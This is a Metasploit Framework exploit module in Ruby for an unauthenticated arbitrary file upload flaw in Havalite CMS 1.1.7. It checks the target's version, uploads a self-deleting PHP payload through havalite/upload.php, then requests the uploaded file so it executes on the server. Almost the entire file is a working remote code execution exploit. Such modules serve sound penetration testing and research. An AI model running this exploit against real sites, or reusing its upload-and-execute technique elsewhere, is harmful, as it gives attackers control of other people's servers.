## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info={}) super(update_info(info, 'Name' => "Havalite CMS Arbitary File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and possibly prior. Attackers can abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitary remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'CWH', 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '94405'], ['EDB', '26243'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 17 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to havalite', '/']) ], self.class) end def peer "#{rhost}:#{rport}" end # # Checks if target is running HavaLite CMS 1.1.7 # We only flag 1.1.7 as vulnerable, because we don't have enough information from # the vendor or OSVDB about exactly which ones are really vulnerable. # def check uri = normalize_uri(target_uri.path, 'havalite/') res = send_request_raw({'uri' => uri}) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || '' version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || '' if not version.empty? and version =~ /1\.1\.7/ print_status("#{peer} - Version found: #{version}") return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Unknown end # # Uploads our malicious file # def upload(base) p = get_write_exec_payload(:unlink_self=>true) fname = "#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'havalite', 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found") elsif res.body =~ /"error"\:"abort"/ fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname) }) if res and res.code == 404 fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path print_status("#{peer} - Uploading malicious file...") fname = upload(base) print_status("#{peer} - Executing #{fname}...") exec(base, fname) end end